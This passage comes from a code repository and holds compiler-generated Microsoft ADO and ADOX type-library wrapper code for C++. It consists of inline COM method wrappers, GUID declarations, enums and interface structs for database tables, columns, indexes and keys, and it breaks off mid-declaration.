raw_ExecuteComplete(RecordsAffected, pError, adStatus, pCommand, pRecordset, pConnection); 1911 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1912 | return _hr; 1913 | } 1914 | 1915 | inline HRESULT ConnectionEventsVt::WillConnect ( BSTR * ConnectionString, BSTR * UserID, BSTR * Password, long * Options, enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 1916 | HRESULT _hr = raw_WillConnect(ConnectionString, UserID, Password, Options, adStatus, pConnection); 1917 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1918 | return _hr; 1919 | } 1920 | 1921 | inline HRESULT ConnectionEventsVt::ConnectComplete ( struct Error * pError, enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 1922 | HRESULT _hr = raw_ConnectComplete(pError, adStatus, pConnection); 1923 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1924 | return _hr; 1925 | } 1926 | 1927 | inline HRESULT ConnectionEventsVt::Disconnect ( enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 1928 | HRESULT _hr = raw_Disconnect(adStatus, pConnection); 1929 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1930 | return _hr; 1931 | } 1932 | 1933 | // 1934 | // interface RecordsetEventsVt wrapper method implementations 1935 | // 1936 | 1937 | inline HRESULT RecordsetEventsVt::WillChangeField ( long cFields, const _variant_t & Fields, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 1938 | HRESULT _hr = raw_WillChangeField(cFields, Fields, adStatus, pRecordset); 1939 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1940 | return _hr; 1941 | } 1942 | 1943 | inline HRESULT RecordsetEventsVt::FieldChangeComplete ( long cFields, const _variant_t & Fields, struct Error * pError, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 1944 | HRESULT _hr = raw_FieldChangeComplete(cFields, Fields, pError, adStatus, pRecordset); 1945 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1946 | return _hr; 1947 | } 1948 | 1949 | inline HRESULT RecordsetEventsVt::WillChangeRecord ( enum EventReasonEnum adReason, long cRecords, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 1950 | HRESULT _hr = raw_WillChangeRecord(adReason, cRecords, adStatus, pRecordset); 1951 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1952 | return _hr; 1953 | } 1954 | 1955 | inline HRESULT RecordsetEventsVt::RecordChangeComplete ( enum EventReasonEnum adReason, long cRecords, struct Error * pError, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 1956 | HRESULT _hr = raw_RecordChangeComplete(adReason, cRecords, pError, adStatus, pRecordset); 1957 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1958 | return _hr; 1959 | } 1960 | 1961 | inline HRESULT RecordsetEventsVt::WillChangeRecordset ( enum EventReasonEnum adReason, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 1962 | HRESULT _hr = raw_WillChangeRecordset(adReason, adStatus, pRecordset); 1963 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1964 | return _hr; 1965 | } 1966 | 1967 | inline HRESULT RecordsetEventsVt::RecordsetChangeComplete ( enum EventReasonEnum adReason, struct Error * pError, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 1968 | HRESULT _hr = raw_RecordsetChangeComplete(adReason, pError, adStatus, pRecordset); 1969 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1970 | return _hr; 1971 | } 1972 | 1973 | inline HRESULT RecordsetEventsVt::WillMove ( enum EventReasonEnum adReason, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 1974 | HRESULT _hr = raw_WillMove(adReason, adStatus, pRecordset); 1975 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1976 | return _hr; 1977 | } 1978 | 1979 | inline HRESULT RecordsetEventsVt::MoveComplete ( enum EventReasonEnum adReason, struct Error * pError, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 1980 | HRESULT _hr = raw_MoveComplete(adReason, pError, adStatus, pRecordset); 1981 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1982 | return _hr; 1983 | } 1984 | 1985 | inline HRESULT RecordsetEventsVt::EndOfRecordset ( VARIANT_BOOL * fMoreData, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 1986 | HRESULT _hr = raw_EndOfRecordset(fMoreData, adStatus, pRecordset); 1987 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1988 | return _hr; 1989 | } 1990 | 1991 | inline HRESULT RecordsetEventsVt::FetchProgress ( long Progress, long MaxProgress, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 1992 | HRESULT _hr = raw_FetchProgress(Progress, MaxProgress, adStatus, pRecordset); 1993 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1994 | return _hr; 1995 | } 1996 | 1997 | inline HRESULT RecordsetEventsVt::FetchComplete ( struct Error * pError, enum EventStatusEnum * adStatus, struct _Recordset * pRecordset ) { 1998 | HRESULT _hr = raw_FetchComplete(pError, adStatus, pRecordset); 1999 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2000 | return _hr; 2001 | } 2002 | 2003 | // 2004 | // interface _Record wrapper method implementations 2005 | // 2006 | 2007 | inline _variant_t _Record::GetActiveConnection ( ) { 2008 | VARIANT _result; 2009 | VariantInit(&_result); 2010 | HRESULT _hr = get_ActiveConnection(&_result); 2011 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2012 | return _variant_t(_result, false); 2013 | } 2014 | 2015 | inline void _Record::PutActiveConnection ( _bstr_t pvar ) { 2016 | HRESULT _hr = put_ActiveConnection(pvar); 2017 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2018 | } 2019 | 2020 | inline void _Record::PutRefActiveConnection ( struct _Connection * pvar ) { 2021 | HRESULT _hr = putref_ActiveConnection(pvar); 2022 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2023 | } 2024 | 2025 | inline enum ObjectStateEnum _Record::GetState ( ) { 2026 | enum ObjectStateEnum _result; 2027 | HRESULT _hr = get_State(&_result); 2028 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2029 | return _result; 2030 | } 2031 | 2032 | inline _variant_t _Record::GetSource ( ) { 2033 | VARIANT _result; 2034 | VariantInit(&_result); 2035 | HRESULT _hr = get_Source(&_result); 2036 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2037 | return _variant_t(_result, false); 2038 | } 2039 | 2040 | inline void _Record::PutSource ( _bstr_t pvar ) { 2041 | HRESULT _hr = put_Source(pvar); 2042 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2043 | } 2044 | 2045 | inline void _Record::PutRefSource ( IDispatch * pvar ) { 2046 | HRESULT _hr = putref_Source(pvar); 2047 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2048 | } 2049 | 2050 | inline enum ConnectModeEnum _Record::GetMode ( ) { 2051 | enum ConnectModeEnum _result; 2052 | HRESULT _hr = get_Mode(&_result); 2053 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2054 | return _result; 2055 | } 2056 | 2057 | inline void _Record::PutMode ( enum ConnectModeEnum pMode ) { 2058 | HRESULT _hr = put_Mode(pMode); 2059 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2060 | } 2061 | 2062 | inline _bstr_t _Record::GetParentURL ( ) { 2063 | BSTR _result = 0; 2064 | HRESULT _hr = get_ParentURL(&_result); 2065 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2066 | return _bstr_t(_result, false); 2067 | } 2068 | 2069 | inline _bstr_t _Record::MoveRecord ( _bstr_t Source, _bstr_t Destination, _bstr_t UserName, _bstr_t Password, enum MoveRecordOptionsEnum Options, VARIANT_BOOL Async ) { 2070 | BSTR _result = 0; 2071 | HRESULT _hr = raw_MoveRecord(Source, Destination, UserName, Password, Options, Async, &_result); 2072 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2073 | return _bstr_t(_result, false); 2074 | } 2075 | 2076 | inline _bstr_t _Record::CopyRecord ( _bstr_t Source, _bstr_t Destination, _bstr_t UserName, _bstr_t Password, enum CopyRecordOptionsEnum Options, VARIANT_BOOL Async ) { 2077 | BSTR _result = 0; 2078 | HRESULT _hr = raw_CopyRecord(Source, Destination, UserName, Password, Options, Async, &_result); 2079 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2080 | return _bstr_t(_result, false); 2081 | } 2082 | 2083 | inline HRESULT _Record::DeleteRecord ( _bstr_t Source, VARIANT_BOOL Async ) { 2084 | HRESULT _hr = raw_DeleteRecord(Source, Async); 2085 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2086 | return _hr; 2087 | } 2088 | 2089 | inline HRESULT _Record::Open ( const _variant_t & Source, const _variant_t & ActiveConnection, enum ConnectModeEnum Mode, enum RecordCreateOptionsEnum CreateOptions, enum RecordOpenOptionsEnum Options, _bstr_t UserName, _bstr_t Password ) { 2090 | HRESULT _hr = raw_Open(Source, ActiveConnection, Mode, CreateOptions, Options, UserName, Password); 2091 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2092 | return _hr; 2093 | } 2094 | 2095 | inline HRESULT _Record::Close ( ) { 2096 | HRESULT _hr = raw_Close(); 2097 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2098 | return _hr; 2099 | } 2100 | 2101 | inline FieldsPtr _Record::GetFields ( ) { 2102 | struct Fields * _result = 0; 2103 | HRESULT _hr = get_Fields(&_result); 2104 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2105 | return FieldsPtr(_result, false); 2106 | } 2107 | 2108 | inline enum RecordTypeEnum _Record::GetRecordType ( ) { 2109 | enum RecordTypeEnum _result; 2110 | HRESULT _hr = get_RecordType(&_result); 2111 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2112 | return _result; 2113 | } 2114 | 2115 | inline _RecordsetPtr _Record::GetChildren ( ) { 2116 | struct _Recordset * _result = 0; 2117 | HRESULT _hr = raw_GetChildren(&_result); 2118 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2119 | return _RecordsetPtr(_result, false); 2120 | } 2121 | 2122 | inline HRESULT _Record::Cancel ( ) { 2123 | HRESULT _hr = raw_Cancel(); 2124 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 2125 | return _hr; 2126 | } 2127 | -------------------------------------------------------------------------------- /code/Hatchet/Release/msadox.tlh: -------------------------------------------------------------------------------- 1 | // Created by Microsoft (R) C/C++ Compiler Version 14.00.50727.42 (15fa85d0). 2 | // 3 | // c:\projects\hatchet_v2\hatchet\release\msadox.tlh 4 | // 5 | // C++ source equivalent of Win32 type library c:\Program Files\Common Files\system\ado\msadox.dll 6 | // compiler-generated file created 05/05/15 at 16:18:58 - DO NOT EDIT! 7 | 8 | #pragma once 9 | #pragma pack(push, 8) 10 | 11 | #include 12 | 13 | namespace ADOX { 14 | 15 | // 16 | // Forward references and typedefs 17 | // 18 | 19 | struct __declspec(uuid("00000600-0000-0010-8000-00aa006d2ea4")) 20 | /* LIBID */ __ADOX; 21 | struct __declspec(uuid("00000512-0000-0010-8000-00aa006d2ea4")) 22 | /* dual interface */ _Collection; 23 | struct __declspec(uuid("00000513-0000-0010-8000-00aa006d2ea4")) 24 | /* dual interface */ _DynaCollection; 25 | struct __declspec(uuid("00000603-0000-0010-8000-00aa006d2ea4")) 26 | /* dual interface */ _Catalog; 27 | struct __declspec(uuid("00000611-0000-0010-8000-00aa006d2ea4")) 28 | /* dual interface */ Tables; 29 | struct /* coclass */ Table; 30 | struct __declspec(uuid("00000610-0000-0010-8000-00aa006d2ea4")) 31 | /* dual interface */ _Table; 32 | struct __declspec(uuid("0000061d-0000-0010-8000-00aa006d2ea4")) 33 | /* dual interface */ Columns; 34 | struct /* coclass */ Column; 35 | struct __declspec(uuid("0000061c-0000-0010-8000-00aa006d2ea4")) 36 | /* dual interface */ _Column; 37 | enum ColumnAttributesEnum; 38 | enum SortOrderEnum; 39 | enum DataTypeEnum; 40 | struct __declspec(uuid("00000504-0000-0010-8000-00aa006d2ea4")) 41 | /* dual interface */ Properties; 42 | struct __declspec(uuid("00000503-0000-0010-8000-00aa006d2ea4")) 43 | /* dual interface */ Property; 44 | struct __declspec(uuid("00000620-0000-0010-8000-00aa006d2ea4")) 45 | /* dual interface */ Indexes; 46 | struct /* coclass */ Index; 47 | struct __declspec(uuid("0000061f-0000-0010-8000-00aa006d2ea4")) 48 | /* dual interface */ _Index; 49 | enum AllowNullsEnum; 50 | struct __declspec(uuid("00000623-0000-0010-8000-00aa006d2ea4")) 51 | /* dual interface */ Keys; 52 | struct /* coclass */ Key; 53 | struct __declspec(uuid("00000622-0000-0010-8000-00aa006d2ea4")) 54 | /* dual interface */ _Key; 55 | enum RuleEnum; 56 | enum KeyTypeEnum; 57 | struct __declspec(uuid("00000626-0000-0010-8000-00aa006d2ea4")) 58 | /* dual interface */ Procedures; 59 | struct __declspec(uuid("00000625-0000-0010-8000-00aa006d2ea4")) 60 | /* dual interface */ Procedure; 61 | struct __declspec(uuid("00000614-0000-0010-8000-00aa006d2ea4")) 62 | /* dual interface */ Views; 63 | struct __declspec(uuid("00000613-0000-0010-8000-00aa006d2ea4")) 64 | /* dual interface */ View; 65 | struct __declspec(uuid("00000617-0000-0010-8000-00aa006d2ea4")) 66 | /* dual interface */ Groups; 67 | struct /* coclass */ Group; 68 | struct __declspec(uuid("00000628-0000-0010-8000-00aa006d2ea4")) 69 | /* dual interface */ _Group; 70 | struct __declspec(uuid("00000616-0000-0010-8000-00aa006d2ea4")) 71 | /* dual interface */ _Group25; 72 | enum ObjectTypeEnum; 73 | enum RightsEnum; 74 | enum ActionEnum; 75 | enum InheritTypeEnum; 76 | struct __declspec(uuid("0000061a-0000-0010-8000-00aa006d2ea4")) 77 | /* dual interface */ Users; 78 | struct /* coclass */ User; 79 | struct __declspec(uuid("00000627-0000-0010-8000-00aa006d2ea4")) 80 | /* dual interface */ _User; 81 | struct __declspec(uuid("00000619-0000-0010-8000-00aa006d2ea4")) 82 | /* dual interface */ _User25; 83 | struct /* coclass */ Catalog; 84 | 85 | // 86 | // Smart pointer typedef declarations 87 | // 88 | 89 | _COM_SMARTPTR_TYPEDEF(_Collection, __uuidof(_Collection)); 90 | _COM_SMARTPTR_TYPEDEF(_DynaCollection, __uuidof(_DynaCollection)); 91 | _COM_SMARTPTR_TYPEDEF(Tables, __uuidof(Tables)); 92 | _COM_SMARTPTR_TYPEDEF(Columns, __uuidof(Columns)); 93 | _COM_SMARTPTR_TYPEDEF(Property, __uuidof(Property)); 94 | _COM_SMARTPTR_TYPEDEF(Properties, __uuidof(Properties)); 95 | _COM_SMARTPTR_TYPEDEF(Indexes, __uuidof(Indexes)); 96 | _COM_SMARTPTR_TYPEDEF(_Index, __uuidof(_Index)); 97 | _COM_SMARTPTR_TYPEDEF(Keys, __uuidof(Keys)); 98 | _COM_SMARTPTR_TYPEDEF(_Key, __uuidof(_Key)); 99 | _COM_SMARTPTR_TYPEDEF(Procedure, __uuidof(Procedure)); 100 | _COM_SMARTPTR_TYPEDEF(Procedures, __uuidof(Procedures)); 101 | _COM_SMARTPTR_TYPEDEF(View, __uuidof(View)); 102 | _COM_SMARTPTR_TYPEDEF(Views, __uuidof(Views)); 103 | _COM_SMARTPTR_TYPEDEF(Groups, __uuidof(Groups)); 104 | _COM_SMARTPTR_TYPEDEF(Users, __uuidof(Users)); 105 | _COM_SMARTPTR_TYPEDEF(_Catalog, __uuidof(_Catalog)); 106 | _COM_SMARTPTR_TYPEDEF(_Table, __uuidof(_Table)); 107 | _COM_SMARTPTR_TYPEDEF(_Column, __uuidof(_Column)); 108 | _COM_SMARTPTR_TYPEDEF(_Group25, __uuidof(_Group25)); 109 | _COM_SMARTPTR_TYPEDEF(_Group, __uuidof(_Group)); 110 | _COM_SMARTPTR_TYPEDEF(_User25, __uuidof(_User25)); 111 | _COM_SMARTPTR_TYPEDEF(_User, __uuidof(_User)); 112 | 113 | // 114 | // Type library items 115 | // 116 | 117 | struct __declspec(uuid("00000512-0000-0010-8000-00aa006d2ea4")) 118 | _Collection : IDispatch 119 | { 120 | // 121 | // Property data 122 | // 123 | 124 | __declspec(property(get=GetCount)) 125 | long Count; 126 | 127 | // 128 | // Wrapper methods for error-handling 129 | // 130 | 131 | long GetCount ( ); 132 | IUnknownPtr _NewEnum ( ); 133 | HRESULT Refresh ( ); 134 | 135 | // 136 | // Raw methods provided by interface 137 | // 138 | 139 | virtual HRESULT __stdcall get_Count ( 140 | /*[out,retval]*/ long * c ) = 0; 141 | virtual HRESULT __stdcall raw__NewEnum ( 142 | /*[out,retval]*/ IUnknown * * ppvObject ) = 0; 143 | virtual HRESULT __stdcall raw_Refresh ( ) = 0; 144 | }; 145 | 146 | struct __declspec(uuid("00000513-0000-0010-8000-00aa006d2ea4")) 147 | _DynaCollection : _Collection 148 | { 149 | // 150 | // Wrapper methods for error-handling 151 | // 152 | 153 | HRESULT Append ( 154 | IDispatch * Object ); 155 | HRESULT Delete ( 156 | const _variant_t & Item ); 157 | 158 | // 159 | // Raw methods provided by interface 160 | // 161 | 162 | virtual HRESULT __stdcall raw_Append ( 163 | /*[in]*/ IDispatch * Object ) = 0; 164 | virtual HRESULT __stdcall raw_Delete ( 165 | /*[in]*/ VARIANT Item ) = 0; 166 | }; 167 | 168 | struct __declspec(uuid("00000609-0000-0010-8000-00aa006d2ea4")) 169 | Table; 170 | // [ default ] interface _Table 171 | 172 | struct __declspec(uuid("00000611-0000-0010-8000-00aa006d2ea4")) 173 | Tables : _Collection 174 | { 175 | // 176 | // Property data 177 | // 178 | 179 | __declspec(property(get=GetItem)) 180 | _TablePtr Item[]; 181 | 182 | // 183 | // Wrapper methods for error-handling 184 | // 185 | 186 | _TablePtr GetItem ( 187 | const _variant_t & Item ); 188 | HRESULT Append ( 189 | const _variant_t & Item ); 190 | HRESULT Delete ( 191 | const _variant_t & Item ); 192 | 193 | // 194 | // Raw methods provided by interface 195 | // 196 | 197 | virtual HRESULT __stdcall get_Item ( 198 | /*[in]*/ VARIANT Item, 199 | /*[out,retval]*/ struct _Table * * ppvObject ) = 0; 200 | virtual HRESULT __stdcall raw_Append ( 201 | /*[in]*/ VARIANT Item ) = 0; 202 | virtual HRESULT __stdcall raw_Delete ( 203 | /*[in]*/ VARIANT Item ) = 0; 204 | }; 205 | 206 | struct __declspec(uuid("0000061b-0000-0010-8000-00aa006d2ea4")) 207 | Column; 208 | // [ default ] interface _Column 209 | 210 | enum ColumnAttributesEnum 211 | { 212 | adColFixed = 1, 213 | adColNullable = 2 214 | }; 215 | 216 | enum SortOrderEnum 217 | { 218 | adSortAscending = 1, 219 | adSortDescending = 2 220 | }; 221 | 222 | enum DataTypeEnum 223 | { 224 | adEmpty = 0, 225 | adTinyInt = 16, 226 | adSmallInt = 2, 227 | adInteger = 3, 228 | adBigInt = 20, 229 | adUnsignedTinyInt = 17, 230 | adUnsignedSmallInt = 18, 231 | adUnsignedInt = 19, 232 | adUnsignedBigInt = 21, 233 | adSingle = 4, 234 | adDouble = 5, 235 | adCurrency = 6, 236 | adDecimal = 14, 237 | adNumeric = 131, 238 | adBoolean = 11, 239 | adError = 10, 240 | adUserDefined = 132, 241 | adVariant = 12, 242 | adIDispatch = 9, 243 | adIUnknown = 13, 244 | adGUID = 72, 245 | adDate = 7, 246 | adDBDate = 133, 247 | adDBTime = 134, 248 | adDBTimeStamp = 135, 249 | adBSTR = 8, 250 | adChar = 129, 251 | adVarChar = 200, 252 | adLongVarChar = 201, 253 | adWChar = 130, 254 | adVarWChar = 202, 255 | adLongVarWChar = 203, 256 | adBinary = 128, 257 | adVarBinary = 204, 258 | adLongVarBinary = 205, 259 | adChapter = 136, 260 | adFileTime = 64, 261 | adPropVariant = 138, 262 | adVarNumeric = 139 263 | }; 264 | 265 | struct __declspec(uuid("0000061d-0000-0010-8000-00aa006d2ea4")) 266 | Columns : _Collection 267 | { 268 | // 269 | // Property data 270 | // 271 | 272 | __declspec(property(get=GetItem)) 273 | _ColumnPtr Item[]; 274 | 275 | // 276 | // Wrapper methods for error-handling 277 | // 278 | 279 | _ColumnPtr GetItem ( 280 | const _variant_t & Item ); 281 | HRESULT Append ( 282 | const _variant_t & Item, 283 | enum DataTypeEnum Type, 284 | long DefinedSize ); 285 | HRESULT Delete ( 286 | const _variant_t & Item ); 287 | 288 | // 289 | // Raw methods provided by interface 290 | // 291 | 292 | virtual HRESULT __stdcall get_Item ( 293 | /*[in]*/ VARIANT Item, 294 | /*[out,retval]*/ struct _Column * * ppvObject ) = 0; 295 | virtual HRESULT __stdcall raw_Append ( 296 | /*[in]*/ VARIANT Item, 297 | /*[in]*/ enum DataTypeEnum Type, 298 | /*[in]*/ long DefinedSize ) = 0; 299 | virtual HRESULT __stdcall raw_Delete ( 300 | /*[in]*/ VARIANT Item ) = 0; 301 | }; 302 | 303 | struct __declspec(uuid("00000503-0000-0010-8000-00aa006d2ea4")) 304 | Property : IDispatch 305 | { 306 | // 307 | // Property data 308 | // 309 | 310 | __declspec(property(get=GetValue,put=PutValue)) 311 | _variant_t Value; 312 | __declspec(property(get=GetName)) 313 | _bstr_t Name; 314 | __declspec(property(get=GetType)) 315 | enum DataTypeEnum Type; 316 | __declspec(property(get=GetAttributes,put=PutAttributes)) 317 | long Attributes; 318 | 319 | // 320 | // Wrapper methods for error-handling 321 | // 322 | 323 | _variant_t GetValue ( ); 324 | void PutValue ( 325 | const _variant_t & pVal ); 326 | _bstr_t GetName ( ); 327 | enum DataTypeEnum GetType ( ); 328 | long GetAttributes ( ); 329 | void PutAttributes ( 330 | long plAttributes ); 331 | 332 | // 333 | // Raw methods provided by interface 334 | // 335 | 336 | virtual HRESULT __stdcall get_Value ( 337 | /*[out,retval]*/ VARIANT * pVal ) = 0; 338 | virtual HRESULT __stdcall put_Value ( 339 | /*[in]*/ VARIANT pVal ) = 0; 340 | virtual HRESULT __stdcall get_Name ( 341 | /*[out,retval]*/ BSTR * pbstr ) = 0; 342 | virtual HRESULT __stdcall get_Type ( 343 | /*[out,retval]*/ enum DataTypeEnum * ptype ) = 0; 344 | virtual HRESULT __stdcall get_Attributes ( 345 | /*[out,retval]*/ long * plAttributes ) = 0; 346 | virtual HRESULT __stdcall put_Attributes ( 347 | /*[in]*/ long plAttributes ) = 0; 348 | }; 349 | 350 | struct __declspec(uuid("00000504-0000-0010-8000-00aa006d2ea4")) 351 | Properties : _Collection 352 | { 353 | // 354 | // Property data 355 | // 356 | 357 | __declspec(property(get=GetItem)) 358 | PropertyPtr Item[]; 359 | 360 | // 361 | // Wrapper methods for error-handling 362 | // 363 | 364 | PropertyPtr GetItem ( 365 | const _variant_t & Item ); 366 | 367 | // 368 | // Raw methods provided by interface 369 | // 370 | 371 | virtual HRESULT __stdcall get_Item ( 372 | /*[in]*/ VARIANT Item, 373 | /*[out,retval]*/ struct Property * * ppvObject ) = 0; 374 | }; 375 | 376 | struct __declspec(uuid("0000061e-0000-0010-8000-00aa006d2ea4")) 377 | Index; 378 | // [ default ] interface _Index 379 | 380 | struct __declspec(uuid("00000620-0000-0010-8000-00aa006d2ea4")) 381 | Indexes : _Collection 382 | { 383 | // 384 | // Property data 385 | // 386 | 387 | __declspec(property(get=GetItem)) 388 | _IndexPtr Item[]; 389 | 390 | // 391 | // Wrapper methods for error-handling 392 | // 393 | 394 | _IndexPtr GetItem ( 395 | const _variant_t & Item ); 396 | HRESULT Append ( 397 | const _variant_t & Item, 398 | const _variant_t & Columns = vtMissing ); 399 | HRESULT Delete ( 400 | const _variant_t & Item ); 401 | 402 | // 403 | // Raw methods provided by interface 404 | // 405 | 406 | virtual HRESULT __stdcall get_Item ( 407 | /*[in]*/ VARIANT Item, 408 | /*[out,retval]*/ struct _Index * * ppvObject ) = 0; 409 | virtual HRESULT __stdcall raw_Append ( 410 | /*[in]*/ VARIANT Item, 411 | /*[in]*/ VARIANT Columns = vtMissing ) = 0; 412 | virtual HRESULT __stdcall raw_Delete ( 413 | /*[in]*/ VARIANT Item ) = 0; 414 | }; 415 | 416 | enum AllowNullsEnum 417 | { 418 | adIndexNullsAllow = 0, 419 | adIndexNullsDisallow = 1, 420 | adIndexNullsIgnore = 2, 421 | adIndexNullsIgnoreAny = 4 422 | }; 423 | 424 | struct __declspec(uuid("0000061f-0000-0010-8000-00aa006d2ea4")) 425 | _Index : IDispatch 426 | { 427 | // 428 | // Property data 429 | // 430 | 431 | __declspec(property(get=GetName,put=PutName)) 432 | _bstr_t Name; 433 | __declspec(property(get=GetClustered,put=PutClustered)) 434 | VARIANT_BOOL Clustered; 435 | __declspec(property(get=GetIndexNulls,put=PutIndexNulls)) 436 | enum AllowNullsEnum IndexNulls; 437 | __declspec(property(get=GetPrimaryKey,put=PutPrimaryKey)) 438 | VARIANT_BOOL PrimaryKey; 439 | __declspec(property(get=GetUnique,put=PutUnique)) 440 | VARIANT_BOOL Unique; 441 | __declspec(property(get=GetColumns)) 442 | ColumnsPtr Columns; 443 | __declspec(property(get=GetProperties)) 444 | PropertiesPtr Properties; 445 | 446 | // 447 | // Wrapper methods for error-handling 448 | // 449 | 450 | _bstr_t GetName ( ); 451 | void PutName ( 452 | _bstr_t pVal ); 453 | VARIANT_BOOL GetClustered ( ); 454 | void PutClustered ( 455 | VARIANT_BOOL pVal ); 456 | enum AllowNullsEnum GetIndexNulls ( ); 457 | void PutIndexNulls ( 458 | enum AllowNullsEnum pVal ); 459 | VARIANT_BOOL GetPrimaryKey ( ); 460 | void PutPrimaryKey ( 461 | VARIANT_BOOL pVal ); 462 | VARIANT_BOOL GetUnique ( ); 463 | void PutUnique ( 464 | VARIANT_BOOL pVal ); 465 | ColumnsPtr GetColumns ( ); 466 | PropertiesPtr GetProperties ( ); 467 | 468 | // 469 | // Raw methods provided by interface 470 | // 471 | 472 | virtual HRESULT __stdcall get_Name ( 473 | /*[out,retval]*/ BSTR * pVal ) = 0; 474 | virtual HRESULT __stdcall put_Name ( 475 | /*[in]*/ BSTR pVal ) = 0; 476 | virtual HRESULT __stdcall get_Clustered ( 477 | /*[out,retval]*/ VARIANT_BOOL * pVal ) = 0; 478 | virtual HRESULT __stdcall put_Clustered ( 479 | /*[in]*/ VARIANT_BOOL pVal ) = 0; 480 | virtual HRESULT __stdcall get_IndexNulls ( 481 | /*[out,retval]*/ enum AllowNullsEnum * pVal ) = 0; 482 | virtual HRESULT __stdcall put_IndexNulls ( 483 | /*[in]*/ enum AllowNullsEnum pVal ) = 0; 484 | virtual HRESULT __stdcall get_PrimaryKey ( 485 | /*[out,retval]*/ VARIANT_BOOL * pVal ) = 0; 486 | virtual HRESULT __stdcall put_PrimaryKey ( 487 | /*[in]*/ VARIANT_BOOL pVal ) = 0; 488 | virtual HRESULT __stdcall get_Unique ( 489 | /*[out,retval]*/ VARIANT_BOOL * pVal ) = 0; 490 | virtual HRESULT __stdcall put_Unique ( 491 | /*[in]*/ VARIANT_BOOL pVal ) = 0; 492 | virtual HRESULT __stdcall get_Columns ( 493 | /*[out,retval]*/ struct Columns * * ppvObject ) = 0; 494 | virtual HRESULT __stdcall get_Properties ( 495 | /*[out,retval]*/ struct Properties * * ppvObject ) = 0; 496 | }; 497 | 498 | struct __declspec(uuid("00000621-0000-0010-8000-00aa006d2ea4")) 499 | Key; 500 | // [ default ] interface _Key 501 | 502 | enum RuleEnum 503 | { 504 | adRINone = 0, 505 | adRICascade = 1, 506 | adRISetNull = 2, 507 | adRISetDefault = 3 508 | }; 509 | 510 | enum KeyTypeEnum 511 | { 512 | adKeyPrimary = 1, 513 | adKeyForeign = 2, 514 | adKeyUnique = 3 515 | }; 516 | 517 | struct __declspec(uuid("00000623-0000-0010-8000-00aa006d2ea4")) 518 | Keys : _Collection 519 | { 520 | // 521 | // Property data 522 | // 523 | 524 | __declspec(property(get=GetItem)) 525 | _KeyPtr Item[]; 526 | 527 | // 528 | // Wrapper methods for error-handling 529 | // 530 | 531 | _KeyPtr GetItem ( 532 | const _variant_t & Item ); 533 | HRESULT Append ( 534 | const _variant_t & Item, 535 | enum KeyTypeEnum Type, 536 | const _variant_t & Column, 537 | _bstr_t RelatedTable, 538 | _bstr_t RelatedColumn ); 539 | HRESULT Delete ( 540 | const _variant_t & Item ); 541 | 542 | // 543 | // Raw methods provided by interface 544 | // 545 | 546 | virtual HRESULT __stdcall get_Item ( 547 | /*[in]*/ VARIANT Item, 548 | /*[out,retval]*/ struct _Key * * ppvObject ) = 0; 549 | virtual HRESULT __stdcall raw_Append ( 550 | /*[in]*/ VARIANT Item, 551 | /*[in]*/ enum KeyTypeEnum Type, 552 | /*[in]*/ VARIANT Column, 553 | /*[in]*/ BSTR RelatedTable, 554 | /*[in]*/ BSTR RelatedColumn ) = 0; 555 | virtual HRESULT __stdcall raw_Delete ( 556 | /*[in]*/ VARIANT Item ) = 0; 557 | }; 558 | 559 | struct __declspec(uuid("00000622-0000-0010-8000-00aa006d2ea4")) 560 | _Key : IDispatch 561 | { 562 | // 563 | // Property data 564 | // 565 | 566 | 